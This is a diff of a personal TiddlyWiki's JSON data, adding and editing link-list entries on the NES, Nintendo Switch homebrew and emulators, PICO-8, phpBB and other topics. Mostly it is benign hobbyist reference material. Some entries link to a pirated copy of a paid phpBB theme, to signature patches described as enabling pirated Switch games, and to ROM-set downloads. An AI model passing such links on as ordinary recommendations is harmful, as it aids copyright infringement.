happens primarily with the stylus; buttons are supported only for some operations.\n\n\n!!! ''Homebrew Games''\n\n\n\n\n!!! ''Homebrew Apps''\n\n* ''Colors! DS'' โข Top screen shows app logo while in the main menu, buttons legend while drawing, and the current drawing when opening a menu or optionally always. The touch screen is needed to select menu items, draw, and calibrate the digitizer; buttons are needed to operate drawing tools (moving, zooming, color picker, undo).\n\n\u003C/del>"},
-{"title":"Nintendo Entertainment System","created":"20230202104823127","creator":"Octt","modified":"20240119012237016","modifier":"Octt","tags":"Nintendo Gaming $:/i18n:en Console","text":"\u003C\u003C^wikipediaframe \"Nintendo Entertainment System\" en>>\n\n!! ''Resources''\n\n* \u003C\u003CYoutubeL bfJzJOQqsDk \"Pushing The Limits of the NES: Amazing Hacks That Made NES Games Possible [Sharopolis]\">>\n* \u003C\u003CYoutubeL qYDzL5hVzSM \"INSANE HD Texture Packs For 8-Bit NES Games!\">> (thanks to a Mesen feature)\n* [[NES (Famicom) Development Kit Hardware [Retro Reversing]|https://www.retroreversing.com/famicom-nes-development-kit/]]\n\n* (Playlists of) [[Some NES Multicarts Music|https://www.youtube.com/playlist?list=PLP3KtH7oe6jVGoqvVgKldhrYn8q9pxx44]] ; [[NES/Famicom Multicarts Music Remake Video|https://www.youtube.com/playlist?list=PLP3KtH7oe6jUNno7Y2xjeTVIvTy9ig9Hp]]\n\n* [[ArtisaNES|http://0ldsk00l.ca/artisanes/]] --- //Artisanal NES consoles aesthetic mods// (paints)\n\n* [[NesDev.org|https://www.nesdev.org/]] --- //Info, programs, and more//\n* [[Nintendo Entertainment System Documentation|https://www.nesdev.org/NESDoc.pdf]]\n* \u003C\u003ChttpL nes.science>> --- //home to a bunch of random NES stuff// and useful archives\n* [[Nerdy Nights (mirror)|https://nerdy-nights.nes.science/]] --- //tutorial series to help people write games for the NES//\n* \u003C\u003ChttpL nesdoug.com>> --- NES Programming tutorial in C\n** [[GitBook re-adaptation by dag7dev|https://dag7.gitbook.io/nesdoug-nes-guide]] //for a comfy read// --- \u003C\u003C#[ Git\"https://github.com/dag7dev/nesdoug-nes-guide\">>\n* [[everynes/no$nes technical documentation|https://problemkaputt.de/everynes.htm]]\n* [[NES Programming [Wikibooks]|https://en.wikibooks.org/wiki/NES_Programming]] --- an extremely WIP resource on the matter as of 2023/11, but it's worth for it being just a concise list of specs and memory layout\n\n* General [[Useful tools for NES development|https://www.nesdev.org/wiki/Tools]]\n** [[FamiStudio|https://famistudio.org/]] --- //very simple music editor for NES/Famicom targeted at both chiptune artists and NES homebrewers// --- \u003C\u003C[# Git\"https://github.com/BleuBleu/FamiStudio\">>\n** FamiTracker: after official development ceased and website died, see \u003C\u003CRedditL r/famitracker/comments/n97ve9/where_do_i_download_famitracker/ \"Where do I download famitracker?\">>\n*** apparently, current best fork is [[Dn-Famitracker|https://github.com/Dn-Programming-Core-Management/Dn-FamiTracker]]\n** [[nixel|https://alexpate.net/nixel/]] --- web editor for CHRs inside NES ROMs with a good UX\n** [[NEXXT|https://frankengraphics.itch.io/nexxt]] --- //Featureful NES assets studio based off the classic \"NES Screen Tool\". It's the \"famitracker\" of NES graphics.// (sources included)\n\n* [[Retro Puzzle Maker|https://puzzle.nes.science]] --- //new tool meant to help you create new puzzle games you can play on an NES//\n* \u003C\u003Clinkdescgit \"C NES Starter Kit\"\"https://cppchriscpp.github.io/nes-starter-kit/\" \"Simplified starter kit for making NES games using C and graphical tools.\" \"https://github.com/cppchriscpp/nes-starter-kit\">>\n* [[ASM NES Starter Kit|https://github.com/battlelinegames/nes-starter-kit]] --- //starter kit for developing Nintendo Entertainment System games using 6502 Assembly language// with specific useful information\n* [[little-things-nes|https://github.com/pinobatch/little-things-nes]] --- //One-off tech demos and test ROMs for NES//\n\n* [[nessemble|https://github.com/kevinselwyn/nessemble]] --- //6502 assembler/disassembler/simulator targeting the Nintendo Entertainment System// --- \u003C\u003C[# Thread\"https://forums.nesdev.org/viewtopic.php?t=16387\">>\n* [[BZK 6502 Disassembler|https://github.com/cyneprepou4uk/BZK-6502-Disassembler]] --- //Create a disassembly of a NES game// --- \u003C\u003C[# Manual \"https://cyneprepou4uk.github.io/iromhacker/nes/en/bzk6502/1/index.html\">> \u003C\u003C[# Thread \"https://www.romhacking.net/forum/index.php?topic=31875.0\">>\n\n* [[Disassembling NES ROM, What Disassembler to Use?|https://forums.nesdev.org/viewtopic.php?t=14221]]\n* [[NES Games Disassembly|https://github.com/cyneprepou4uk/NES-Games-Disassembly]] --- //Source code of some NES games// --- \u003C\u003C[# Thread \"https://www.romhacking.net/forum/index.php?topic=32220.0\">>\n* [[How to Hack NES Games [JohnRiggs]|https://www.youtube.com/playlist?list=PLsOTz-tlvayLmYmgreE4q1w0E6rN29T4p]]\n* [[$8000 and $C000 on the NES|https://forums.nesdev.org/viewtopic.php?t=5494]] --- mapper 0 maps the PRG ROM to both addresses\n\n* [[Looking For MIDI to NES/NSF Converter|https://forums.nesdev.org/viewtopic.php?t=8007]]\n\n!!! Emulators\n\n* [[FCEUX|https://fceux.com]] --- //The all in one NES/Famicom/Dendy Emulator// --- \u003C\u003C[# \"https://github.com/TASEmulators/fceux\">>\n* [[Nestopia|https://nestopia.sourceforge.net/]]\n** [[Nestopia UE|http://0ldsk00l.ca/nestopia/]] (the successor) --- // Cross-platform Nestopia emulator core with a GUI// --- \u003C\u003C[# Git\"https://github.com/0ldsk00l/nestopia\">>\n* [[NesDs|]]\n"},
+{"title":"Nintendo Entertainment System","created":"20230202104823127","creator":"Octt","modified":"20240119121912787","modifier":"Octt","tags":"Nintendo Gaming $:/i18n:en Console","text":"\u003C\u003C^wikipediaframe \"Nintendo Entertainment System\" en>>\n\n!! ''Resources''\n\n* \u003C\u003CYoutubeL bfJzJOQqsDk \"Pushing The Limits of the NES: Amazing Hacks That Made NES Games Possible [Sharopolis]\">>\n* \u003C\u003CYoutubeL qYDzL5hVzSM \"INSANE HD Texture Packs For 8-Bit NES Games!\">> (thanks to a Mesen feature)\n* [[NES (Famicom) Development Kit Hardware [Retro Reversing]|https://www.retroreversing.com/famicom-nes-development-kit/]]\n\n* (Playlists of) [[Some NES Multicarts Music|https://www.youtube.com/playlist?list=PLP3KtH7oe6jVGoqvVgKldhrYn8q9pxx44]] ; [[NES/Famicom Multicarts Music Remake Video|https://www.youtube.com/playlist?list=PLP3KtH7oe6jUNno7Y2xjeTVIvTy9ig9Hp]]\n* [[Unchained Nostalgia v1.4.0 [2018/11/15] (a NES/Famicom/Dendy demo)|https://veg.by/en/projects/unchained/]] --- //based on the pirate multicart with a romantic storyline and the Unchained Melody in the menu.// --- \u003C\u003C[# Thread\"https://forums.nesdev.org/viewtopic.php?t=10672\">>\n** Original source appeared to be lost to the author forgetting to reupload it after BitBucked fucked up and deleted the hg repo, I was able to find [[some parts on Web Archive|http://web.archive.org/web/20171004041520/https://bitbucket.org/veg/unchained/src]] and copied them: [[https://hlb0.octt.eu.org/Drive/Misc/Unchained%20Nostalgia/Source.7z]] (binary assets are missing but they could be extracted from the compiled ROM, what matters is having the ASM now)\n\n* [[ArtisaNES|http://0ldsk00l.ca/artisanes/]] --- //Artisanal NES consoles aesthetic mods// (paints)\n\n* [[NesDev.org|https://www.nesdev.org/]] --- //Info, programs, and more//\n* [[Nintendo Entertainment System Documentation|https://www.nesdev.org/NESDoc.pdf]]\n* \u003C\u003ChttpL nes.science>> --- //home to a bunch of random NES stuff// and useful archives\n* [[Nerdy Nights (mirror)|https://nerdy-nights.nes.science/]] --- //tutorial series to help people write games for the NES//\n* \u003C\u003ChttpL nesdoug.com>> --- NES Programming tutorial in C\n** [[GitBook re-adaptation by dag7dev|https://dag7.gitbook.io/nesdoug-nes-guide]] //for a comfy read// --- \u003C\u003C#[ Git\"https://github.com/dag7dev/nesdoug-nes-guide\">>\n* [[everynes/no$nes technical documentation|https://problemkaputt.de/everynes.htm]]\n* [[NES Programming [Wikibooks]|https://en.wikibooks.org/wiki/NES_Programming]] --- an extremely WIP resource on the matter as of 2023/11, but it's worth for it being just a concise list of specs and memory layout\n\n* General [[Useful tools for NES development|https://www.nesdev.org/wiki/Tools]]\n** [[FamiStudio|https://famistudio.org/]] --- //very simple music editor for NES/Famicom targeted at both chiptune artists and NES homebrewers// --- \u003C\u003C[# Git\"https://github.com/BleuBleu/FamiStudio\">>\n** FamiTracker: after official development ceased and website died, see \u003C\u003CRedditL r/famitracker/comments/n97ve9/where_do_i_download_famitracker/ \"Where do I download famitracker?\">>\n*** apparently, current best fork is [[Dn-Famitracker|https://github.com/Dn-Programming-Core-Management/Dn-FamiTracker]]\n** [[nixel|https://alexpate.net/nixel/]] --- web editor for CHRs inside NES ROMs with a good UX\n** [[NEXXT|https://frankengraphics.itch.io/nexxt]] --- //Featureful NES assets studio based off the classic \"NES Screen Tool\". It's the \"famitracker\" of NES graphics.// (sources included)\n\n* [[Retro Puzzle Maker|https://puzzle.nes.science]] --- //new tool meant to help you create new puzzle games you can play on an NES//\n* \u003C\u003Clinkdescgit \"C NES Starter Kit\"\"https://cppchriscpp.github.io/nes-starter-kit/\" \"Simplified starter kit for making NES games using C and graphical tools.\" \"https://github.com/cppchriscpp/nes-starter-kit\">>\n* [[ASM NES Starter Kit|https://github.com/battlelinegames/nes-starter-kit]] --- //starter kit for developing Nintendo Entertainment System games using 6502 Assembly language// with specific useful information\n* [[little-things-nes|https://github.com/pinobatch/little-things-nes]] --- //One-off tech demos and test ROMs for NES//\n\n* [[nessemble|https://github.com/kevinselwyn/nessemble]] --- //6502 assembler/disassembler/simulator targeting the Nintendo Entertainment System// --- \u003C\u003C[# Thread\"https://forums.nesdev.org/viewtopic.php?t=16387\">>\n* [[BZK 6502 Disassembler|https://github.com/cyneprepou4uk/BZK-6502-Disassembler]] --- //Create a disassembly of a NES game// --- \u003C\u003C[# Manual \"https://cyneprepou4uk.github.io/iromhacker/nes/en/bzk6502/1/index.html\">> \u003C\u003C[# Thread \"https://www.romhacking.net/forum/index.php?topic=31875.0\">>\n\n* [[Disassembling NES ROM, What Disassembler to Use?|https://forums.nesdev.org/viewtopic.php?t=14221]]\n* [[NES Games Disassembly|https://github.com/cyneprepou4uk/NES-Games-Disassembly]] --- //Source code of some NES games// --- \u003C\u003C[# Thread \"https://www.romhacking.net/forum/index.php?topic=32220.0\">>\n* [[How to Hack NES Games [JohnRiggs]|https://www.youtube.com/playlist?list=PLsOTz-tlvayLmYmgreE4q1w0E6rN29T4p]]\n* [[$8000 and $C000 on the NES|https://forums.nesdev.org/viewtopic.php?t=5494]] --- mapper 0 maps the PRG ROM to both addresses\n* [[How to extract CHR & PRG from a NES/UNiF file|https://forums.nesdev.org/viewtopic.php?t=5661]] --- depends on the mapper, usually PRG is at the start (after the iHeader) and CHR at the end\n\n* [[Looking For MIDI to NES/NSF Converter|https://forums.nesdev.org/viewtopic.php?t=8007]]\n\n!!! Emulators\n\n* [[FCEUX|https://fceux.com]] --- //The all in one NES/Famicom/Dendy Emulator// --- \u003C\u003C[# \"https://github.com/TASEmulators/fceux\">>\n* [[Nestopia|https://nestopia.sourceforge.net/]]\n** [[Nestopia UE|http://0ldsk00l.ca/nestopia/]] (the successor) --- // Cross-platform Nestopia emulator core with a GUI// --- \u003C\u003C[# Git\"https://github.com/0ldsk00l/nestopia\">>\n* [[NesDs|]]\n"},
{"title":"Nintendo Switch","created":"20220925130302833","creator":"Octt","modified":"20231210220557478","modifier":"Octt","tags":"Nintendo Gaming NX Console","text":"''Nintendo Switch'' is a family of portable game consoles created by [[Nintendo|Nintendo]]. It is notorius for being made of [[papier-mรขchรฉ|Papier-mรขchรฉ]], essentially suffering from a variety of structural problems.\n\n\u003C\u003Cibox \"https://i.ytimg.com/vi_webp/Cb-srOfRqNc/maxresdefault.webp\" \"https://youtu.be/Cb-srOfRqNc\">>\n\nThe console's introduction was hyped due to it being the first ever Nintendo console to be created with both home and portable use in mind. The name itself comes from the fact that the console can //switch//, from being connected to a TV to being able to be used standalone.\n\n!!! Misc\n\n* [[Internet Browser [Switchbrew]|https://switchbrew.org/wiki/Internet_Browser]]\n** Apparently from FW 10.0, Nintendo being corporate shitlords added a [[Browser Timeout: \"This Screen will be closed.\"|https://browsedns.net/topic/25/browser-timeout-this-screen-will-be-closed]]\n\n!!! ''Emulators''\n\n* [[Yuzu|https://yuzu-emu.org/]] --- //experimental open-source Switch emulator from the creators of Citra// --- \u003C\u003C#[ Git \"https://github.com/yuzu-emu\">>\n* [[Ryujinx|https://ryujinx.org/]] --- //simple, experimental Nintendo Switch emulator// --- \u003C\u003C[# Git \"https://github.com/Ryujinx\">>\n* [[Skyline|https://skyline-emu.one/]] --- //Run Nintendo Switch homebrew & games on your Android device!// --- \u003C\u003C[# Git \"https://github.com/skyline-emu\">>\n** Abandoned due to the developers' irrational fear of a Nintendo takedown (in my view they were just tired of mantaining the project and didn't want to take the bad press of a standard resign, this was just an excuse to abandon the project... but at least it's open-source)\n** A slow-going fork has apparently started: [[Strato|https://github.com/strato-emu/strato]]\n\n!!! ''Homebrew, Tools, Hacks''\n\n* Alternative OSes: [[Ubuntu]] and [[LineageOS]] by ''[[switchroot|https://switchroot.org/]]''\n* Custom Firmware: The real best today is [[Atmosphรจre-NX|https://github.com/Atmosphere-NX]] + related libs.\n* Signature patches (needed to run unsigned NSPs, aka homebrew NSPs or pirated games): \u003C\u003C[ \"[[WiiDatabase|https://wiidatabase.de/switch-downloads/hacks/signatur-patches/]]\">> \u003C\u003C[ \"[[Hackintendo|https://hackintendo.com/download/sigpatches/?PageSpeed=noscript]]\">> \u003C\u003C[ \"[[ShadowOne333|https://gbatemp.net/threads/sigpatches-for-atmosphere-hekate-fss0-fusee-package3.571543/]]\">>. They were provided by various developers who want to remain mostly anonymous, and they are mostly compiled together by ITotalJustice.\n\n* \u003C\u003Clinkdesc nsz \"https://github.com/nicoboss/nsz\" \"Homebrew compatible NSP/XCI compressor/decompressor\">>\n\n* [[Goldleaf|https://gbatemp.net/download/goldleaf-nintendo-switch-title-installer-manager.35430/]] --- //๐ Multipurpose homebrew tool for Nintendo Switch// --- \u003C\u003C[# Git \"https://github.com/XorTroll/Goldleaf\">>\n* [[Tinleaf|https://github.com/blawar/tinleaf]] --- //No-Bullshit NSP, NSZ, XCI, and XCZ Installer for Nintendo Switch// (forked from [[Awoo Installer|https://github.com/Huntereb/Awoo-Installer]] without the furry crap) --- \u003C\u003C[# Thread \"https://gbatemp.net/threads/tinleaf-installer-a-no-bullshit-no-bullshit-nsp-nsz-xci-xcz-installer.559892/\">>\n\n!!! Development\n\n* [[SwitchBrew Wiki|https://switchbrew.org/wiki/Main_Page]]\n** [[switchbrew/switch-examples|https://github.com/switchbrew/switch-examples]] --- //Switch examples for devkitA64 and libnx//\n"},
{"title":"Nitter:en","created":"20230110214847556","modified":"20230206111552254","modifier":"Octt","tags":"Internet $:/i18n:en","text":"''[[Nitter|https://github.com/zedeus/nitter]]'' is a free and open source alternative [[Twitter|Twitter:en]] front-end focused on privacy and performance.\n\nQuoting from the project's README:\n\n\u003C\u003C\u003C\nInspired by the Invidious project.\n\n* No JavaScript or ads\n* All requests go through the backend, client never talks to Twitter\n* Prevents Twitter from tracking your IP or JavaScript fingerprint\n* Uses Twitter's unofficial API (no rate limits or developer account required)\n* Lightweight (60KB vs 784KB from twitter.com)\n* RSS feeds\n* Themes\n* Mobile support (responsive design)\n* AGPLv3 licensed, no proprietary instances permitted\n\u003C\u003C\u003C\n"},
{"title":"Nix","created":"20230302114148119","creator":"Octt","modified":"20230302114846402","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"Nix (package manager)\">>\n\n* [[Zero to Nix|https://zero-to-nix.com/]] - //An unofficial, opinionated, gentle introduction to Nix//\n* \u003C\u003CYouTubeL 2L2qHfNnXB4 \"NixOS: a sales pitch\">> - A 20-minutes introduction from the ground-up to Nix and [[NixOS]].\n"},
@@ -1335,7 +1336,7 @@
{"title":"Personal Knowledge Base","created":"20230203224049687","creator":"Octt","modified":"20230228220623251","modifier":"Octt","tags":"$:/i18n:en Knowledge","text":"\u003C\u003C^wikipediaframe \"Personal knowledge base\" en>>\n\n; Tools\n: [[Feather Wiki|https://feather.wiki/]] - //A single-file HTML wiki in ~50 KB// - \u003C\u003C[ \"[[Git|https://codeberg.org/Alamantus/FeatherWiki]]\">>\n: [[TiddlyWiki]]\n\n; Misc\n: [[How to Set Up a Personal Wiki (with Jekyll)|https://strikingloo.github.io/personal-wiki-set-up]] - \u003C\u003C[ \"[[Code|https://github.com/StrikingLoo/Personal-Wiki-Site-Setup]]\">>\n"},
{"title":"PHP","created":"20231220005125463","creator":"Octt","modified":"20231220005200282","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe PHP>>\n\n* [[PHP: Find all images in a HTML string|https://thisinterestsme.com/php-get-images-from-html/]]\n"},
{"title":"phpBB","created":"20230818075833750","creator":"Octt","modified":"20231213001700023","modifier":"Octt","tags":"Forum","text":"* [[https://www.phpbb.com/]]\n* [[https://github.com/phpbb]]\n\n\u003C\u003C^wikipediaframe phpBB>>\n\n* [[How to Install phpBB with Nginx and MariaDB on Ubuntu Linux|https://geekrewind.com/install-phpbb-on-ubuntu-17-04-17-10-with-nginx-mariadb-and-php-support/]] --- Note: the `php-fpm` package might need to be installed by specifying version, and it's better to use [[phpBB's official nginx.sample.conf|https://github.com/phpbb/phpbb/blob/master/phpBB/docs/nginx.sample.conf]].\n* [[Creating custom BBcode with optional parameter?|https://www.phpbb.com/community/viewtopic.php?t=2531861]]\n** also see [[Custom BBCode syntax of s9e\\TextFormatter|https://s9etextformatter.readthedocs.io/Plugins/BBCodes/Custom_BBCode_syntax/]]\n\n* [[phpBB Studio|https://phpbbstudio.com]] --- //Extension developers for phpBB//\n\n!!! ''Extensions''\n\n* [[Knowledge Base|https://www.phpbb.com/customise/db/extension/knowledge_base/]] --- //An extension for phpBB 3.1.x that adds a knowledge base to your board// --- \u003C\u003C[# Git \"https://github.com/Crizz0/knowledgebase\">>\n* [[RESTApiForPhpBB|https://github.com/eparsons/RESTApiForPhpBB]] --- //Unofficial REST API for PhpBB with example client// (Incomplete and Abandoned, but decent working base for a fork)\n* [[RH Topic Tags|https://www.phpbb.com/customise/db/extension/rh_topic_tags/]] --- //Enables tagging of topics with key words// --- \u003C\u003C#[ Git \"https://github.com/RobertHeim/phpbb-ext-topictags\">>\n** [[Fork updated for phpBB 3.3.9+ (2 fixes)|https://github.com/mi1eurista/phpbb-ext-topictags/tree/patch339]]\n\n!!! ''Styles''\n\n* [[Milk|https://themeforest.net/item/milk-multipurpose-responsive-phpbb-31-theme/16119149]] --- //Flat, Modern Multipurpose Responsive Theme// --- \u003C\u003C[# Nullsto \"https://www.nullsto.com/resources/milk-multipurpose-responsive-phpbb-3-3-theme.1167/\">>\n* [[phpBB3 WAP Style|https://www.phpbb.com/customise/db/style/phpbb3_wap_style/]]\n"},
-{"title":"PICO-8","created":"20230215192110036","creator":"Octt","modified":"20230215213713689","modifier":"Octt","tags":"Proprietary Gaming Fantasy Console","text":"* [[Website/Forum|https://www.lexaloffle.com/pico-8.php]]\n* [[Edu Edition|https://www.pico-8-edu.com/]] - Gratis official web player and editor\n* [[PICO-8 Community Git|https://github.com/pico-8]]\n* [[Awesome PICO-8|https://pico-8.github.io/awesome-PICO-8/]] - [[[Git|https://github.com/pico-8/awesome-PICO-8]]]\n\n\u003C\u003CWikipediaFrame PICO-8 en>>\n\n; Get Games\n: \u003Cdiv>\n\n* https://www.lexaloffle.com/bbs/?mode=carts\n* https://itch.io/games/tag-pico-8\n* \u003C\u003CRedditL \"/r/Roms/comments/yj2irf/picowesome_v14_oct312022/\" \"PICOwesome v1.4 (oct-31-2022)\">> - Pico8 Awesome ROM Set - [[[ZIP Gdrive|https://drive.google.com/file/d/1KsK_cm3dp2yCcMdimZInIAU_PkPEfBQf/view?usp=sharing]]] [[[ZIP 1fichier|https://1fichier.com/?jwit1cvqcefytsy9xu24]]] - [\u003C\u003CRedditL \"/r/Roms/comments/mw1k3r/pico8_awesome_set_v10/\" v1.0>>] [\u003C\u003CRedditL \"/r/Roms/comments/t41u6w/picowesome_v13_feb282022/\" v1.3>>]\n** Other (unorganized?) collections mentioned in the thread: https://archive.org/details/pico8 | https://archive.org/details/p8carts\n** Others (for real): https://archive.org/details/pico-8_cart_collection\n\u003C/div>\n\n; Reimplementations\n: [[fake-08|https://github.com/jtothebell/fake-08]] - //Pico 8 player for homebrew consoles// - Tested on [[Miyoo]] with the latest version as of end of ~2021 (?), worked with not a lot of games \u003C\u003C[ \"[[GBATemp|https://gbatemp.net/threads/release-fake-08-probably-the-best-3rd-party-pico-8-emulator.608579/]]\">>\n: [[Runty8|https://github.com/jjant/runty8]] - //Clone in Rust// (Never tested)\n"},
+{"title":"PICO-8","created":"20230215192110036","creator":"Octt","modified":"20240119145635621","modifier":"Octt","tags":"Proprietary Gaming Fantasy Console","text":"* [[Website/Forum|https://www.lexaloffle.com/pico-8.php]]\n* [[Edu Edition|https://www.pico-8-edu.com/]] - Gratis official web player and editor\n* [[PICO-8 Community Git|https://github.com/pico-8]]\n* [[Awesome PICO-8|https://pico-8.github.io/awesome-PICO-8/]] - [[[Git|https://github.com/pico-8/awesome-PICO-8]]]\n\n\u003C\u003C^WikipediaFrame PICO-8 en>>\n\n; Get Games\n: \u003Cdiv>\n\n* https://www.lexaloffle.com/bbs/?mode=carts\n* https://itch.io/games/tag-pico-8\n* \u003C\u003CRedditL \"/r/Roms/comments/yj2irf/picowesome_v14_oct312022/\" \"PICOwesome v1.4 (oct-31-2022)\">> - Pico8 Awesome ROM Set - [[[ZIP Gdrive|https://drive.google.com/file/d/1KsK_cm3dp2yCcMdimZInIAU_PkPEfBQf/view?usp=sharing]]] [[[ZIP 1fichier|https://1fichier.com/?jwit1cvqcefytsy9xu24]]] - [\u003C\u003CRedditL \"/r/Roms/comments/mw1k3r/pico8_awesome_set_v10/\" v1.0>>] [\u003C\u003CRedditL \"/r/Roms/comments/t41u6w/picowesome_v13_feb282022/\" v1.3>>]\n** Other (unorganized?) collections mentioned in the thread: https://archive.org/details/pico8 | https://archive.org/details/p8carts\n** Others (for real): https://archive.org/details/pico-8_cart_collection\n* [[Pico-8 gallery|https://pico8.retroactive.me/]] --- //A small static site with its own generator containing a few of my Pico-8 sketches// --- \u003C\u003C[# Git\"https://github.com/Eiyeron/pico8-gallery\">>\n\u003C/div>\n\n; Reimplementations\n: [[fake-08|https://github.com/jtothebell/fake-08]] - //Pico 8 player for homebrew consoles// - Tested on [[Miyoo]] with the latest version as of end of ~2021 (?), worked with not a lot of games \u003C\u003C[ \"[[GBATemp|https://gbatemp.net/threads/release-fake-08-probably-the-best-3rd-party-pico-8-emulator.608579/]]\">>\n: [[Runty8|https://github.com/jjant/runty8]] - //Clone in Rust// (Never tested)\n"},
{"title":"Picross 3D:en","created":"20230112094752122","creator":"Octt","modified":"20230207221713803","modifier":"Octt","tags":"Nintendo Puzzle NDS TODO $:/i18n:en Game Proprietary","text":"\u003C\u003CMediaWiki Picross_3D en 2>>"},
{"title":"Picross DS:en","created":"20230114145440371","creator":"Octt","modified":"20230207221713803","modifier":"Octt","tags":"TODO NDS Nintendo Puzzle $:/i18n:en Game Proprietary","text":"\u003C\u003CMediaWiki Picross_DS en 1>>"},
{"title":"Picture","created":"20231223234901522","creator":"Octt","modified":"20231223235310265","modifier":"Octt","tags":"","text":"\u003C\u003C^WikipediaFrame \"Picture\">>\n\n* [[Apeaksoft Free Watermark Remover|https://www.apeaksoft.com/watermark-remover/]] || [[vidmore Free Watermark Remover Online|https://www.vidmore.com/watermark-remover/]]\n"},
@@ -1424,10 +1425,10 @@
{"title":"Standard Notes","created":"20230113230249689","creator":"Octt","modified":"20230221221847294","modifier":"Octt","tags":"App $:/i18n:en","text":"An encrypted open-source notes app with a very clean UX.\n\n* Website: [[standardnotes.com|https://standardnotes.com]]\n* Git Repos: [[github.com/standardnotes|https://github.com/standardnotes]]\n\n!!! ''Listed''\n\n''Listed'' is a blogging platform developed by the Standard Notes team, that strongly integrates into the app.\n\n* Website: [[listed.to|https://listed.to]]\n\n!!! ''Other''\n\n; [[Using Standard Notes as a Personal Knowledge Base|https://technosoof.wordpress.com/2020/04/10/using-standard-notes-as-a-personal-knowledge-base/]] - \u003C\u003Cmywarc 466>>\n: Need of coping with lack of text-search scoped to only the current note. \u003Cdd>\nBrowser's integrated search is a decent solution.\n\u003C/dd>\n: No actual hyperlinks will force you to manually craft a compact GUID system. \u003Cdd>\nGUIDs can't be changed later, so using dates + single letters for types is a needed thing.\n\u003C/dd> \u003Cdd>\nSeparating drafts from normal notes, WIP, etc... is optimal too.\n\u003C/dd>\n\n; [[Why Encrypted - Standard Notes|https://standardnotes.com/why-encrypted]] - \u003C\u003Cmywarc 409>>\n: Today's popular tech is far from private by default.\n: The lack of actual privacy often makes us self-censor, making us lose ourselves in our writing.\n: When you get privacy, and finally //write like it's nobody's business//, you will have peace of mind.\n"},
{"title":"Starbucks","created":"20230305195429422","creator":"Octt","modified":"20230305195825406","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe Starbucks>>\n\n!!! ''News''\n\n; March 2023\n: [[Starbucks illegally fired US workers over union, judge rules|https://www.bbc.co.uk/news/business-64819774]].\n"},
{"title":"Static site generator","created":"20230905232949767","creator":"Octt","modified":"20231222001704153","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"Static site generator\">>\n\n* \u003C\u003Clinkdescgit Docusaurus \"https://docusaurus.io\" \"Easy to maintain open source documentation websites.\" \"https://github.com/facebook/docusaurus\">>\n* \u003C\u003Clinkdescgit Hugo \"https://gohugo.io\" \"The worldโs fastest framework for building websites\" \"https://github.com/gohugoio/hugo\">>\n\n* [[Hexo|https://hexo.io/]] --- //A fast, simple & powerful blog framework//\n** //[[NexT|https://theme-next.js.org/]] is a high quality elegant theme for Hexo. It is crafted from scratch, with love.// --- \u003C\u003C[# Git \"https://github.com/next-theme\">>\n\n* [[Jekyll|https://jekyllrb.com]] (+ docs) --- //๐ Jekyll is a blog-aware static site generator in Ruby// --- \u003C\u003C#[ Git\"https://github.com/jekyll\">>\n** [[Jekyll Themes|http://jekyllthemes.org/]] --- //A directory of the best-looking themes for Jekyll blogs// --- \u003C\u003C#[ Git\"https://github.com/mattvh/jekyllthemes\">>\n*** \u003C\u003Clinkdescgit \"So Simple [Theme]\" \"https://mmistakes.github.io/so-simple-theme\" \" A simple Jekyll theme for words and pictures.\" \"https://github.com/mmistakes/so-simple-theme\">>\n*** \u003C\u003Clinkdescgit \"Jekflix Template\" \"https://jekflix.rossener.com/\" \"A Jekyll theme inspired by Netflix. ๐ฌ\" \"https://github.com/thiagorossener/jekflix-template\">>\n*** [[TeXt Theme|https://kitian616.github.io/jekyll-TeXt-theme/]] --- //๐ ๐ณ A super customizable Jekyll theme for personal site, team site, blog, project, documentation, etc. // --- \u003C\u003C[# Git\"https://github.com/kitian616/jekyll-TeXt-theme\">>\n** [[Working with upcoming posts in Jekyll|https://www.fizerkhan.com/blog/posts/working-with-upcoming-posts-in-jekyll]]\n\n* [[Pelican|https://getpelican.com/]]\n** [[Eevee|https://kura.gg/eevee/]] --- //A Material Design theme for Pelican//\n\n* \u003C\u003Clinkdescgit Retype \"https://retype.com\" \"ultra-high-performance โจ static website generator that builds a website based on simple Markdown text files\" \"https://github.com/retypeapp\">> --- seems catered towards docs/notes sites\n"},
-{"title":"Strange things","created":"20231105150445511","creator":"Octt","modified":"20240110005819739","modifier":"Octt","tags":"","text":"* [[https://venkivasamsetti.github.io/ebookworm.github.io/csehome.html]] --- this strange half-constructed half-recycled website hides copies of some CS books in PDF among generic pages, among with unrelated things like HTML5 games?\n\n* [[StudyPlan.dev|https://www.studyplan.dev/]] --- strange C++ tutorials website with random, out-of-context (probably AI-generated?) cover pictures of random characters concept artworks...\n\n* [[^^^^^~ โ uiโโณโฒ โบ .info|https://yyyyyyy.info/]] --- just a mess collage of images, and the content changes at every site visit\n* [[Smokepowered - ็ ้งๅๅ.com|https://smokepowered.com/]] --- strange site with weed background and video of Valve characters smoking\n** [[Epic Blazed|https://epicblazed.com/]] --- same thing above, but for Epic Games, Unreal Engine, Fortnite\n\n* [[ICCIVITELLA|https://iccivitella.it/]], ... --- SEO spamming websites with fake content... sometimes they seem to have more actual content than real sites?\n\n* \u003C\u003ChttpsL www.chimica-online.it>>, \u003C\u003ChttpsL www.scuola-e-cultura.it>>, ... --- sites that seem like SEO spamming but they seem to be administered by actual writers? they're kinda the most confusing\n\n* [[Toire no Hanako-san (folclore)|https://it.wikipedia.org/wiki/Toire_no_Hanako-san_(folclore)]]\n\n* [[PassSource|https://www.passsource.com/]] --- apparently something to create demo/dummy Apple Wallet passes? I have no use for it but they are very colorful\n\n* [[Library of Babel|https://libraryofbabel.info/]] --- contains every kind of data that exists, will exist, and will not exist, all generated through randomness but it contains anything.\n** Alternative version: \u003C\u003CYoutubeL w0XJ8D-TJtM \"Database of Damascus - This Database Contains All YOUR Files (and Everyone Else's too)\">>\n\n* [[https://www.playemulator.io/]] --- very strange-feeling site with online ROMs emulators, due to all the SEO crap, and possibly wrong thumbnails applied to misleadingly titled games\n\n* [[Pra' - Le Lavatrici|https://it.wikipedia.org/wiki/Pra%27#Le_Lavatrici]] --- un quartiere che sembra una mezza piramide fatta di lavatrici giganti\n"},
